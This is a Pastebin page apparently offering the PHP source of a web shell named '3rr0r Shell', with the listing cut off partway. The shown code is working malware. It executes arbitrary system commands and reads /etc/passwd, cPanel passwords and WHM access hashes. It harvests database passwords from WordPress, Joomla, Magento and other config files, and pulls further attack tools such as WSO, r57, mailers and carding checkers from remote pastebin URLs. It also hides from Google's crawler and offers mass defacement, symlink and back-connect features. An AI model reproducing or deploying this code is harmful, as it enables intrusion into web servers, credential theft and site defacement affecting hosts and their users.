alsakib945

3rr0r Shell V1.0 Script

Aug 24th, 2019
743
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 119.01 KB | None | 0 0
  1. <?php
  2. session_start();
  3. $pass = @$_POST['pass'] ;
  4. $sv = $_SERVER['HTTP_HOST'];
  5. $password = '';
  6. if ($pass == $password)
  7. {
  8. $_SESSION['barca'] = "$pass";
  9. }
  10. if(!isset($_SESSION['barca']) or $_SESSION['barca'] != $password)
  11. {
  12. echo "<html>
  13. <head>
  14. <title>3rr0r Mini Shell</title>
  15. <style type=>
  16. body{
  17. background-color:#030303;
  18.  
  19. }
  20. h2{
  21. color:#e5e5e5;
  22. font-family: Courier New;
  23. font-size: 18px;
  24. }
  25. input,button
  26. {
  27. font-size: 11pt;
  28. color:#e5e5e5;
  29. font-family: verdana, sans-serif;
  30. background-color: #000000;
  31. border-left: 2px dotted #b2b2b2;
  32. border-top: 2px dotted #b2b2b2;
  33. border-right: 2px dotted #b2b2b2;
  34. border-bottom: 2px dotted #b2b2b2;
  35. }
  36. </style>
  37. </head>";
  38.  
  39. die('<br><br><br>
  40. <center><img src="https://a.top4top.net/p_633b39791.png" width="210" height="260"></center><br>
  41. <div align=center >
  42. <form method="POST" action="">
  43. <input name="pass" type="password" size="30">
  44. <input type="submit" value="Login">
  45. </form>
  46. <h2>Enter Password</h2>
  47. <div>
  48. <body>
  49. </html>') ;
  50.  
  51. }
  52.  
  53. // 3rr0r Hun73r Private Shell
  54. // Use your own risk
  55. // Hard coded by 3rr0r Hun73r
  56.  
  57. // Start Bots Locked
  58. if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {header('HTTP/1.0 404 Not Found');exit;}
  59. // End //Bots Locked
  60.  
  61. // Start configuration
  62.  
  63. $shell_name = '3rr0r Shell';
  64. $shell_slogan = 'The Next Power Shell';
  65. $shell_version = '1.1';
  66. $shell_bypass_security = '0';
  67. $show_error = "0";
  68.  
  69. @session_start();
  70. @ini_set('max_execution_time', 0);
  71. @ini_set('output_buffering', 0);
  72. // @ini_set("allow_url_fopen", 1);
  73. // @ini_set("allow_url_include", 1);
  74. @set_time_limit(0);
  75.  
  76. // @set_magic_quotes_runtime(0);
  77. // End configuration
  78.  
  79. // start init
  80. if ($show_error == "0") {
  81. @error_reporting(0);
  82. @error_log(0);
  83. @ini_set('error_log', null);
  84. @ini_set('log_errors', 0);
  85. @ini_set('display_errors', 0);
  86. } else {
  87. ini_set('display_errors', 1);
  88. ini_set('display_startup_errors', 1);
  89. error_reporting(E_ALL);
  90. }
  91.  
  92. if (!function_exists('posix_getegid')) {
  93. $user = @get_current_user();
  94. $uid = @getmyuid();
  95. $gid = @getmygid();
  96. $group = "?";
  97. } else {
  98. $uid = @posix_getpwuid(posix_geteuid());
  99. $gid = @posix_getgrgid(posix_getegid());
  100. $user = $uid['name'];
  101. $uid = $uid['uid'];
  102. $group = $gid['name'];
  103. $gid = $gid['gid'];
  104. }
  105. if (@is_dir("/home/$user/public_html/")) {
  106. $server_type = "public_html";
  107. } elseif (@is_dir("/var/www/vhosts/")) {
  108. $server_type = "vhost";
  109. } else {
  110. $server_type = "unknown";
  111. }
  112.  
  113. //end init
  114.  
  115. //start config list
  116. $ext = array("v1", "v2", "v3", "wp", "WP", "blog", "client", "clients", "forum", "forums", "home", "new", "old", "site", "portal", "test", "demo", "wordpress", "joomla", "beta", "news", "main", "shop", "mage", "magento", "sites", "cms", "secure", "support", "panel", "public");
  117. $configtype = array(
  118. "/wp-config.php" => "Wordpress",
  119. "/config/koneksi.php" => "Lokomedia",
  120. "/forum/config.php" => "phpBB",
  121. "/sites/default/settings.php" => "Drupal",
  122. "/config/settings.inc.php" => "PrestaShop",
  123. "/app/etc/local.xml" => "Magento",
  124. "/admin/config.php" => "OpenCart",
  125. "/application/config/database.php" => "Ellislab",
  126. "/configuration.php" => "Joomla",
  127. "/submitticket.php" => "WHMCS",
  128. "/config.php" => "OtherConfig",
  129. "/db.php" => "DB",
  130. "/db.inc.php" => "DBInc",
  131. "/database.php" => "Database",
  132. "/includes/config.php" => "Vbulletin",
  133. "/db/config.php" => "DBConfig",
  134. );
  135. //end config list
  136.  
  137. //start head process
  138. if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  139. @ob_clean();
  140. $file = $_GET['file'];
  141. header('Content-Description: File Transfer');
  142. header('Content-Type: application/octet-stream');
  143. header('Content-Disposition: attachment; filename="' . basename($file) . '"');
  144. header('Expires: 0');
  145. header('Cache-Control: must-revalidate');
  146. header('Pragma: public');
  147. header('Content-Length: ' . filesize($file));
  148. readfile($file);
  149. exit;
  150. }
  151. if (isset($_GET['dir']) && ($_GET['dir'] != "")) {
  152. $dir = $_GET['dir'];
  153. chdir($_GET['dir']);
  154. } else {
  155. $dir = getcwd();
  156. }
  157. if (isset($_POST['upload'])) {
  158. if (@copy($_FILES['0xfile']['tmp_name'], "$dir/" . $_FILES['0xfile']['name'] . "")) {
  159. $actx = "<font color=lime>Uploaded!</font> at <i><b>$dir/" . $_FILES['0xfile']['name'] . "</b></i>";
  160. } else {
  161. $actx = "<font color=red>failed to upload file</font>";
  162. }
  163. } else {
  164. $actx = "";
  165. }
  166. //end head process
  167. ?>
  168. <!DOCTYPE html>
  169. <html>
  170. <style stype="text/css">
  171. @import url(https://fonts.googleapis.com/css?family=Abel|Baumans);
  172. body {
  173. background: #101010;
  174. color: #f2f2f2;
  175. font-family: Abel;
  176. font-size: 12px;
  177. }
  178.  
  179. body a {
  180. color: #3467BA;
  181. text-decoration: none;
  182. }
  183.  
  184. body a:hover {
  185. text-decoration: underline;
  186. }
  187.  
  188. #main_content {
  189. border: 1px solid #5C7296;
  190. overflow: hidden;
  191. width: 1000px;
  192. height: auto;
  193. padding: 15px;
  194. margin: 0 auto;
  195. background: #0A0A0A;
  196. border-radius: 6px;
  197. -moz-border-radius: 6px;
  198. -webkit-border-radius: 6px;
  199. }
  200.  
  201. .enabled {
  202. color: #7ACC29;
  203. }
  204.  
  205. .enabled a {
  206. color: #7ACC29;
  207. font-weight: normal;
  208. }
  209.  
  210. .disabled {
  211. color: #CC0000;
  212. }
  213.  
  214. .TableHeader_Name {
  215. width: 400px;
  216. padding: 0px 0px 0px 5px;
  217. height: 25px;
  218. font-family: Abel;
  219. background-color: #282828;
  220. border-top-left-radius: 4px;
  221. -moz-border-top-left-radius: 4px;
  222. -webkit-border-top-left-radius: 4px;
  223. }
  224.  
  225. .TableHeader {
  226. width: 100px;
  227. height: 25px;
  228. font-family: Abel;
  229. text-align: center;
  230. background-color: #282828;
  231. }
  232.  
  233. .TableHeaderoptions {
  234. padding: 0px 0px 0px 15px;
  235. width: 200px;
  236. height: 25px;
  237. font-family: Abel;
  238. background-color: #282828;
  239. border-top-right-radius: 4px;
  240. -moz-border-top-right-radius: 4px;
  241. -webkit-border-top-right-radius: 4px;
  242. }
  243.  
  244. .TableLast {
  245. padding: 0px 0px 0px 15px;
  246. width: 200px;
  247. height: 25px;
  248. font-family: Abel;
  249. background-color: #282828;
  250. border-top-right-radius: 4px;
  251. -moz-border-top-right-radius: 4px;
  252. -webkit-border-top-right-radius: 4px;
  253. }
  254.  
  255. .filesize {
  256. color: green;
  257. text-align: center;
  258. }
  259.  
  260. .filenames a {
  261. font-weight: normal;
  262. text-decoration: none;
  263. }
  264.  
  265. .filenames a:hover {
  266. text-decoration: underline;
  267. }
  268.  
  269. .filetr {
  270. background-color: #080808;
  271. }
  272.  
  273. .filetr:hover {
  274. background-color: #282828;
  275. }
  276.  
  277. #options {
  278. font-weight: 200;
  279. font-family: Abel;
  280. margin-left: 10px;
  281. display: block;
  282. }
  283.  
  284. #title {
  285. font-size: 25px;
  286. font-family: arial;
  287. display: block;
  288. padding: 15px 0px 0px 0px;
  289. }
  290.  
  291. .box {
  292. padding: 10px;
  293. background-color: #292929;
  294. border: 1px solid #3467BA;
  295. height: auto;
  296. width: 970;
  297. border-radius: 6px;
  298. -moz-border-radius: 6px;
  299. -webkit-border-radius: 6px;
  300. }
  301.  
  302. .sembunyi {
  303. display: none;
  304. padding: 0;
  305. margin: 0;
  306. }
  307.  
  308. textarea {
  309. background-color: #010101;
  310. color: #f2f2f2;
  311. border: 1px solid #3467BA;
  312. outline: none;
  313. font-size: 11px;
  314. border-radius: 3px;
  315. -moz-border-radius: 3px;
  316. -webkit-border-radius: 3px;
  317. padding: 5px;
  318. width: 970px;
  319. height: 400px;
  320. }
  321.  
  322. input[type=text],
  323. input[type=password],
  324. input[type=submit],
  325. input[type=button] {
  326. background: #010101;
  327. color: #f2f2f2;
  328. margin: 0 4px;
  329. border: 1px solid #3467BA;
  330. outline: none;
  331. font-size: 11px;
  332. border-radius: 3px;
  333. -moz-border-radius: 3px;
  334. -webkit-border-radius: 3px;
  335. font-family: Abel;
  336. font-size: 12px;
  337. }
  338.  
  339. .viewfile {
  340. background: #EDECEB;
  341. color: #000000;
  342. margin: 4px 2px;
  343. padding: 8px;
  344. border-radius: 3px;
  345. -moz-border-radius: 3px;
  346. -webkit-border-radius: 3px;
  347. border: 1px solid #3467BA;
  348. }
  349.  
  350. select {
  351. color: #f2f2f2;
  352. padding: 0;
  353. margin: 0;
  354. border: 1px solid #3467BA;
  355. outline: none;
  356. font-size: 11px;
  357. border-radius: 3px;
  358. -moz-border-radius: 3px;
  359. -webkit-border-radius: 3px;
  360. background: #010101;
  361. overflow: hidden;
  362. font-family: Abel;
  363. font-size: 12px;
  364. }
  365.  
  366. input[type="file"] {
  367. color: #f2f2f2;
  368. padding: 0;
  369. margin: 0;
  370. border: 1px solid #3467BA;
  371. outline: none;
  372. font-size: 11px;
  373. border-radius: 3px;
  374. -moz-border-radius: 3px;
  375. -webkit-border-radius: 3px;
  376. background: #010101;
  377. overflow: hidden;
  378. font-family: Abel;
  379. font-size: 12px;
  380. }
  381.  
  382. .ndelik {
  383. display: none;
  384. padding: 0;
  385. margin: 0;
  386. }
  387.  
  388. form,
  389. table {
  390. /*display: inline;*/
  391. margin: 0px;
  392. padding: 0px;
  393. }
  394. </style>
  395.  
  396. <script type="text/javascript">
  397. function tukar(lama, baru) {
  398. document.getElementById(lama).style.display = 'none';
  399. document.getElementById(baru).style.display = 'block';
  400. }
  401. </script>
  402.  
  403. <link href="http://vignette2.wikia.nocookie.net/regularshow/images/f/fc/Emoticones_-_Pacman.png/revision/latest?cb=20160107170905&amp;path-prefix=es" rel="icon" type="image/x-icon">
  404.  
  405. <?php
  406.  
  407. $ling = "http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['PHP_SELF'] . "?create";
  408. $dir = str_replace("\\", "/", $dir);
  409. $scdir = explode("/", $dir);
  410. $ds = @ini_get("disable_functions");
  411. $show_ds = (!empty($ds)) ? "<input type='text' name='searchterm' size='30'style='background-color: rgb(41, 41, 41);border: 1px solid rgb(41, 41, 41);height: 12px;color: red;width: 385px;'value='$ds'readonly/>" : "<font color=lime>NONE</font>";
  412. echo "<title>$shell_name</title>";
  413.  
  414. if (isset($_GET['create'])) {
  415. function CreateTools($names, $lokasi)
  416. {
  417. if ($_GET['create'] == $names) {
  418. $a = "" . $_SERVER['SERVER_NAME'] . "";
  419. $b = dirname($_SERVER['PHP_SELF']);
  420. $c = "/0x1/" . $names . ".php";
  421. if (file_exists('0x1/' . $names . '.php')) {
  422. echo '<script type="text/javascript">alert("Done");window.location.href = "0x1/' . $names . '.php";</script> ';
  423. } else {
  424. mkdir("0x1", 0777);
  425. file_put_contents('0x1/' . $names . '.php', file_get_contents($lokasi));
  426. echo ' <script type="text/javascript">alert("Done");window.location.href = "0x1/' . $names . '.php";</script> ';}}
  427. }
  428. CreateTools("wso", "http://pastebin.com/raw/3eh3Gej2");
  429. CreateTools("adminer" . "https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  430. CreateTools("maildump", "http://pastebin.com/raw/JLjrTs40");
  431. CreateTools("injection", "http://pastebin.com/raw/nxxL8c1f");
  432. CreateTools("promailerv2", "http://pastebin.com/raw/Rk9v6eSq");
  433. CreateTools("gamestopceker", "http://pastebin.com/raw/QSnw1JXV");
  434. CreateTools("bukapalapak", "http://pastebin.com/raw/6CB8krDi");
  435. CreateTools("tokopedia", "http://pastebin.com/dvhzWgby");
  436. CreateTools("encodedecode", "http://pastebin.com/raw/wqB3G5eZ");
  437. CreateTools("mailer", "http://pastebin.com/raw/9yu1DmJj");
  438. CreateTools("r57", "http://pastebin.com/raw/G2VEDunW");
  439. CreateTools("tokenpp", "http://pastebin.com/raw/72xgmtPL");
  440. CreateTools("extractor", "http://pastebin.com/raw/jQnMFHBL");
  441. CreateTools("bh", "http://pastebin.com/raw/3L2ESWeu");
  442. CreateTools("dhanus", "http://pastebin.com/raw/v4xGus6X");
  443. }
  444.  
  445. //Start Function
  446. function permissions($file)
  447. {
  448.  
  449. $perms = @fileperms($file);
  450. if (($perms & 0xC000) == 0xC000) {
  451. $info = 's';
  452. } elseif (($perms & 0xA000) == 0xA000) {
  453. $info = 'l';
  454. } elseif (($perms & 0x8000) == 0x8000) {
  455. $info = '-';
  456. } elseif (($perms & 0x6000) == 0x6000) {
  457. $info = 'b';
  458. } elseif (($perms & 0x4000) == 0x4000) {
  459. $info = 'd';
  460. } elseif (($perms & 0x2000) == 0x2000) {
  461. $info = 'c';
  462. } elseif (($perms & 0x1000) == 0x1000) {
  463. $info = 'p';
  464. } else {
  465. $info = 'u';
  466. }
  467. $info .= (($perms & 0x0100) ? 'r' : '-');
  468. $info .= (($perms & 0x0080) ? 'w' : '-');
  469. $info .= (($perms & 0x0040) ?
  470. (($perms & 0x0800) ? 's' : 'x') :
  471. (($perms & 0x0800) ? 'S' : '-'));
  472. $info .= (($perms & 0x0020) ? 'r' : '-');
  473. $info .= (($perms & 0x0010) ? 'w' : '-');
  474. $info .= (($perms & 0x0008) ?
  475. (($perms & 0x0400) ? 's' : 'x') :
  476. (($perms & 0x0400) ? 'S' : '-'));
  477. $info .= (($perms & 0x0004) ? 'r' : '-');
  478. $info .= (($perms & 0x0002) ? 'w' : '-');
  479. $info .= (($perms & 0x0001) ?
  480. (($perms & 0x0200) ? 't' : 'x') :
  481. (($perms & 0x0200) ? 'T' : '-'));
  482. return $info;
  483. }
  484. function UrlLoop($url, $type)
  485. {
  486. $urlArray = array();
  487. $ch = curl_init();
  488. curl_setopt($ch, CURLOPT_URL, $url);
  489. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  490. $result = curl_exec($ch);
  491. $regex = '|<a.*?href="(.*?)"|';
  492. preg_match_all($regex, $result, $parts);
  493. $links = $parts[1];
  494. foreach ($links as $link) {
  495. array_push($urlArray, $link);
  496. }
  497. curl_close($ch);
  498. foreach ($urlArray as $value) {
  499. $lol = "$url$value";
  500. if (preg_match("#$type#is", $lol)) {
  501. echo "$lol\r\n";
  502. }
  503. }
  504. }
  505.  
  506. function anucurl($sites)
  507. {
  508. $ch = curl_init($sites);
  509. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  510. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  511. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  512. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  513. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  514. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  515. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  516. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  517. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  518. $data = curl_exec($ch);
  519. curl_close($ch);
  520. return $data;
  521. }
  522. function clearspace($text)
  523. {
  524. return str_replace(" ", "_", $text);
  525. }
  526. function magicboom($text)
  527. {
  528. if (!get_magic_quotes_gpc()) {
  529. return $text;
  530. }
  531. return stripslashes($text);
  532. }
  533. function ambilKata($param, $kata1, $kata2)
  534. {
  535. if (strpos($param, $kata1) === false) {
  536. return false;
  537. }
  538.  
  539. if (strpos($param, $kata2) === false) {
  540. return false;
  541. }
  542.  
  543. $start = strpos($param, $kata1) + strlen($kata1);
  544. $end = strpos($param, $kata2, $start);
  545. $return = substr($param, $start, $end - $start);
  546. return $return;
  547. }
  548. function ambil_password($link)
  549. {
  550. $pass = "";
  551. $ch = curl_init();
  552. curl_setopt($ch, CURLOPT_URL, $link);
  553. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  554. $ambil = curl_exec($ch);
  555. // $ambil = file_get_contents($link);
  556. if (preg_match("/WordPress/", $ambil)) {
  557. $pass .= ambilkata($ambil, "DB_PASSWORD', '", "'") . "\n";
  558. } elseif (preg_match("/JConfig|joomla/", $ambil)) {
  559. $pass .= ambilkata($ambil, "password = '", "'") . "\n";
  560. } elseif (preg_match("/cmsmember/", $ambil)) {
  561. $pass .= ambilkata($ambil, 'dbpasswd = "', '"') . "\n";
  562. } elseif (preg_match("/Magento|Mage_Core/", $ambil)) {
  563. $pass .= ambilkata($ambil, "<password><![CDATA[", "]]></password>") . "\n";
  564. } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  565. $pass .= ambilkata($ambil, 'password = "', '"') . "\n";
  566. } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  567. $pass .= ambilkata($ambil, "'DB_PASSWORD', '", "'") . "\n";
  568. } elseif (preg_match("/client/", $ambil)) {
  569. preg_match("/password=(.*)/", $ambil, $pass1);
  570. if (preg_match('/"/', $pass1[1])) {
  571. $pass1[1] = str_replace('"', "", $pass1[1]);
  572. $pass .= $pass1[1] . "\n";
  573. }
  574. } elseif (preg_match("/cc_encryption_hash/", $ambil)) {
  575. $pass .= ambilkata($ambil, "db_password = '", "'") . "\n";
  576. }
  577. return $pass;
  578. }
  579. function w($dir, $perm)
  580. {
  581. if (!is_writable($dir)) {
  582. return "<font color=red>" . $perm . "</font>";
  583. } else {
  584. return "<font color=lime>" . $perm . "</font>";
  585. }
  586. }
  587. function cekjum($kentu)
  588. {
  589.  
  590. // $it = new RecursiveIteratorIterator($kentu,RecursiveDirectoryIterator::SKIP_DOTS);
  591. $it = new RecursiveIteratorIterator
  592. (
  593. new RecursiveDirectoryIterator($kentu)
  594. );
  595. // if($it-> DirectoryIterator::isDot()){
  596. // echo "cok";
  597. // }
  598.  
  599. // $index = array_search('..',$it);
  600. // if($index !== FALSE){
  601. // unset($it[$index]);
  602. // }
  603.  
  604. foreach ($it as $filename) {
  605. $file = realpath(dirname($filename));
  606. if ($file == "..") {
  607. continue;
  608. }
  609. if (is_writable($filename)) {
  610.  
  611. $perm = permissions($file);
  612. $perm = w($file, $perm);
  613. $permd = permissions($filename);
  614. $permd = w($filename, $permd);
  615.  
  616. if (is_dir($filename)) {
  617. if (is_writable($file)) {
  618. echo "[ D ] [$perm]\t\t<a href='?dir=$file'>$file</a><font color='lime'>is writable</font><br>";
  619. }
  620. } else {
  621. if (is_writable($filename)) {
  622. echo "[ F ] [$permd]\t\t<a href='?act=edit&dir=$file&file=$filename'>$filename</a><font color='lime'>is writable</font><br>";
  623. }
  624. }
  625.  
  626. }
  627. }
  628. }
  629. function exe($cmd)
  630. {
  631. if (function_exists('system')) {
  632. @ob_start();
  633. @system($cmd);
  634. $buff = @ob_get_contents();
  635. @ob_end_clean();
  636. return $buff;
  637. } elseif (function_exists('exec')) {
  638. @exec($cmd, $results);
  639. $buff = "";
  640. foreach ($results as $result) {
  641. $buff .= $result;
  642. }
  643. return $buff;
  644. } elseif (function_exists('passthru')) {
  645. @ob_start();
  646. @passthru($cmd);
  647. $buff = @ob_get_contents();
  648. @ob_end_clean();
  649. return $buff;
  650. } elseif (function_exists('shell_exec')) {
  651. $buff = @shell_exec($cmd);
  652. return $buff;
  653. }
  654. }
  655.  
  656. //End Function
  657.  
  658. //start bypasser
  659.  
  660. // $etcpasswd = etcpasswd();
  661.  
  662. if ($_SESSION['etcpasswd']) {
  663. $etcpasswd = $_SESSION['etcpasswd'];
  664. } else {
  665. $etcpasswd = @file_get_contents('/etc/passwd');
  666. if (!$etcpasswd) {
  667. $etcpasswd = exe('cat /etc/passwd');
  668. }
  669. }
  670.  
  671. // end bypasser
  672.  
  673. /////////////////////////////////////
  674. if (!$_SESSION["cekown"] == "pass") {
  675. $own = @file('/etc/trueuserowners');
  676. foreach ($own as $owns) {
  677. $exp = explode(": ", $owns);
  678. $string = trim(preg_replace('/\s+/', ' ', $exp[1]));
  679. if ($string == $user) {
  680. $_SESSION["statusowner"] = "OWNER";
  681. }
  682. if ($exp[0] == $user) {
  683. $_SESSION["statusclientus"] = $exp[0];
  684. $_SESSION["statusclient"] = $exp[1];
  685. }
  686. $_SESSION["cekown"] = "pass";
  687. }
  688. }
  689.  
  690. if ($_SESSION["statusowner"] == "OWNER") {
  691. $trueowner = $_SESSION["statusowner"];
  692. $trueowner = "<font color=lime>$trueowner</font>";
  693. } else {
  694. $trueowner = "<font color=red>error</font>";
  695. }
  696. if ($_SESSION["statusclientus"] == $user) {
  697. $trueuser = $_SESSION["statusclient"];
  698. $trueuser = " <font color=lime>$trueuser</font>";
  699. } else {
  700. $trueuser = "<font color=red>error</font>";
  701. }
  702.  
  703. $sport = $_SERVER['SERVER_PORT'];
  704. $d0mains = @file("/etc/named.conf");
  705. $users = $etcpasswd;
  706. if ($d0mains) {
  707. $count;
  708. foreach ($d0mains as $d0main) {
  709. if (@ereg("zone", $d0main)) {
  710. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  711. flush();
  712. if (strlen(trim($domains[1][0])) > 2) {
  713. flush();
  714. $count++;
  715. }
  716. }
  717. }
  718. $count2 = $count / 2;
  719. } else {
  720. $count2 = "??";
  721. }
  722. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  723. echo "
  724. <body>
  725. <div id='main_content'><span id='title'><font face='Baumans'>$shell_name</font> </span><i>$shell_slogan</i><br><br><div class='box'>
  726. ";
  727. echo '
  728. <table cellspacing="0" cellpadding="0">
  729. <colgroup>
  730. <col style="width: 499px">
  731. <col style="width: 599px">
  732. </colgroup>
  733. <tr>
  734. <td nowrap>Server Name:' . php_uname() . '</td>
  735. <td align="right"><form><div class="select-style">
  736. <select onchange="if (this.value) window.open(this.value);">
  737. <option selected="selected" value=""> <i>Tools Creator </option>
  738. <option value="' . $ling . '=wso"><i>WSO 2.8.1</option>
  739. </select>
  740. <select onchange="if (this.value) window.open(this.value);">
  741. <option selected="selected" value=""> Tools Carder </option>
  742. <option value="' . $ling . '=maildump">Email Dumper</option>
  743. </select></div>
  744. <noscript><input type="submit" value="Submit"></noscript>
  745. </form></td>
  746. </tr>
  747. <tr>
  748. <td>User :<font color=lime>' . $user . '</font> (' . $uid . ') Group : <font color=lime>' . $group . '</font> (' . $gid . ') Owner : (' . $trueowner . ') UserOwner : (' . $trueuser . ')</td>
  749. <td align="right">';
  750. if ($server_type == "public_html") {
  751. if (file_exists('/home/' . $user . '/.my.cnf')) {
  752. $cp = file_get_contents('/home/' . $user . '/.my.cnf');
  753. $cp = ambilkata($cp, 'password="', '"');
  754. echo 'Cpanel : Username <font color="lime">(</font>' . $user . '<font color="lime">)</font> Password <font color="lime">(</font>' . $cp . '<font color="lime">)</font>';
  755. }}
  756. echo '
  757. </td>
  758. </tr>
  759. <tr>
  760. <td>Server IP :<font color=lime>' . gethostbyname($_SERVER["HTTP_HOST"]) . '</font> <span class="enabled"><a href="https://www.bing.com/search?q=IP:' . gethostbyname($_SERVER["HTTP_HOST"]) . '" target="_blank">[BING]</a></span> <span class="enabled"><a href="https://centralops.net/co/domaindossier.aspx?addr=' . gethostbyname($_SERVER["HTTP_HOST"]) . '&dom_whois=true&dom_dns=true&traceroute=true&net_whois=true&svc_scan=true" target="_blank">[Dossier]</a></span> | Port : <font color=lime>' . $sport . '</font> | Your IP: <font color=lime>' . $_SERVER["REMOTE_ADDR"] . '</font></td>
  761. <td align="right">';
  762. if ($server_type == "public_html") {
  763. if (file_exists('/home/' . $user . '/.accesshash')) {
  764. $whm = file_get_contents('/home/' . $user . '/.accesshash');
  765. $whm = preg_replace('/\s+/', '', $whm);
  766. echo '<input type="text" size="30" value="WHM ' . $user . ':' . $whm . '">';
  767. }}
  768. echo '
  769. </td>
  770. </tr>
  771. <tr>
  772. <td>Server Type : ' . $server_type . ' | Website :<font color=lime> ' . $count2 . ' </font> Domains</td>
  773. </tr>
  774. <tr>
  775. <td>Safe Mode: ' . $sm . '</td>
  776. </tr>
  777. <tr>
  778. <td>Disable Functions:' . $show_ds . '</td>
  779. </tr>
  780. <tr>
  781. <td>Server Software: ' . $_SERVER["SERVER_SOFTWARE"] . ' <span class="enabled"><a href="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=' . $_SERVER["SERVER_SOFTWARE"] . '&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=" target="_blank">[Exploit DB]</a></span>
  782. </td>
  783. </tr>
  784. <tr>
  785. <td>Directory : ';
  786. foreach ($scdir as $c_dir => $cdir) {
  787. echo "<a href='?dir=";
  788. for ($i = 0; $i <= $c_dir; $i++) {
  789. echo $scdir[$i];
  790. if ($i != $c_dir) {
  791. echo "/";
  792. }
  793. }
  794. echo "'>$cdir</a>/";
  795. }
  796. echo "</td>
  797. <td align='right'><form method='post' enctype='multipart/form-data'><input type='file' name='0xfile'><input type='submit' value='upload' name='upload'></form></td>
  798. </tr>
  799. <tr>
  800. <td><form method='post' action='?dir=$dir&do=cmd' style='float: left;'>
  801. Command :
  802. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  803. </form><p></p>
  804. </td>
  805. <td align='right'>" . $actx . "</td>
  806. </tr>
  807. </table></div>";
  808. echo '<a href="?">Home</a> / ';
  809. echo "<a href='?dir=" . $dir . "&do=config'>Config</a> / ";
  810. echo "<a href='?dir=" . $dir . "&do=jump'>Jump</a> / ";
  811. echo "<a href='?dir=" . $dir . "&do=symlink'>Sym</a> / ";
  812. echo "<a href='?dir=" . $dir . "&do=cpanel'>Cpanel</a> / ";
  813. echo "<a href='?dir=" . $dir . "&do=symlink'>Sym</a> / ";
  814. echo "<a href='?dir=" . $dir . "&do=mass_deface'>Mass</a> / ";
  815. echo "<a href='?dir=" . $dir . "&do=mirror'>Mirror</a> / ";
  816. echo "<a href='?dir=" . $dir . "&do=cgi'>Cgi</a> / ";
  817. echo "<a href='?dir=" . $dir . "&do=bc'>BC</a> / ";
  818. echo "<a href='?dir=" . $dir . "&do=about'>About</a> / ";
  819. echo "<a href='?dir=" . $dir . "&do=serverinfo'>Server Info</a> / ";
  820. echo "<a href='?do=deleteme'>Self Remove</a> / ";
  821. echo "<a href='?dir=" . $dir . "&do=ndelikne'>Hidden Shell</a> / ";
  822. echo "<a href='?dir=" . $dir . "&do=crp'>Config ResPass</a> / ";
  823. echo "<a href='?dir=" . $dir . "&do=grabpass'>Config PassGrab</a> / ";
  824. echo "<a href='?dir=" . $dir . "&do=hek'>Deface</a> / ";
  825. echo "<a href='?dir=" . $dir . "&do=cpres'>Cpanel Reset</a> / ";
  826. echo '<hr>';
  827. /////////////////////////////////////
  828. // if(isset($_GET['act']) && ($_GET['act'] == ''))
  829.  
  830. // START TOOLS SCRIPT
  831. if (isset($_GET['act']) && ($_GET['act'] == 'delete')) {
  832. $delete = unlink($_GET['file']);
  833. if ($delete) {
  834. $act = "<script>window.location='?dir=" . $dir . "';</script>";
  835. } else {
  836. $act = "<font color=red>permission denied</font>";
  837. }
  838. echo $act;
  839. } elseif (isset($_GET['act']) && ($_GET['act'] == 'delete_dir')) {
  840. function Delete($path)
  841. {
  842. $path = (substr($path, -1) == '/') ? $path : $path . '/';
  843. $dh = opendir($path);
  844. while (($item = readdir($dh)) !== false) {
  845. $item = $path . $item;
  846. if ((basename($item) == "..") || (basename($item) == ".")) {
  847. continue;
  848. }
  849.  
  850. $type = filetype($item);
  851. if ($type == "dir") {
  852. Delete($item);
  853. } else {
  854. @unlink($item);
  855. }
  856.  
  857. }
  858. closedir($dh);
  859. @rmdir($path);}
  860. $delete_dir = Delete($dir);
  861. $act = "<script>window.location='?dir=" . dirname($dir) . "';</script>";
  862. echo $act;
  863. } elseif (isset($_POST['do_rename'])) {
  864. $rename = rename($_POST['oldname'], "$dir/" . htmlspecialchars($_POST['rename']) . "");
  865. if ($rename) {
  866. $act = "<script>window.location='?dir=" . $dir . "';</script>";
  867. } else {
  868. $act = "<font color=red>permission denied</font>";
  869. }
  870. echo "" . $act . "<br>";
  871. } elseif (isset($_POST['dir_rename'])) {
  872. $dir_rename = rename($dir . "/" . $_POST['oldname'], "" . $dir . "/" . htmlspecialchars($_POST['fol_rename']) . "");
  873. if ($dir_rename) {
  874. $act = "<script>window.location='?dir=" . $dir . "';</script>";
  875. } else {
  876. $act = "<font color=red>permission denied</font>";
  877. }
  878. echo "" . $act . "<br>";
  879. } elseif (isset($_GET['act']) && ($_GET['act'] == 'newfolder')) {
  880. if ($_POST['new_save_folder']) {
  881. $new_folder = $dir . '/' . htmlspecialchars($_POST['newfolder']);
  882. if (!mkdir($new_folder)) {
  883. $act = "<font color=red>permission denied</font>";
  884. } else {
  885. $act = "<script>window.location='?dir=" . $dir . "';</script>";
  886. }
  887. }
  888. echo $act;
  889. } elseif (isset($_GET['act']) && ($_GET['act'] == 'view')) {
  890. if (is_file($_GET['file'])) {
  891. if (!isset($file)) {
  892. $file = magicboom($_GET['file']);
  893. }
  894.  
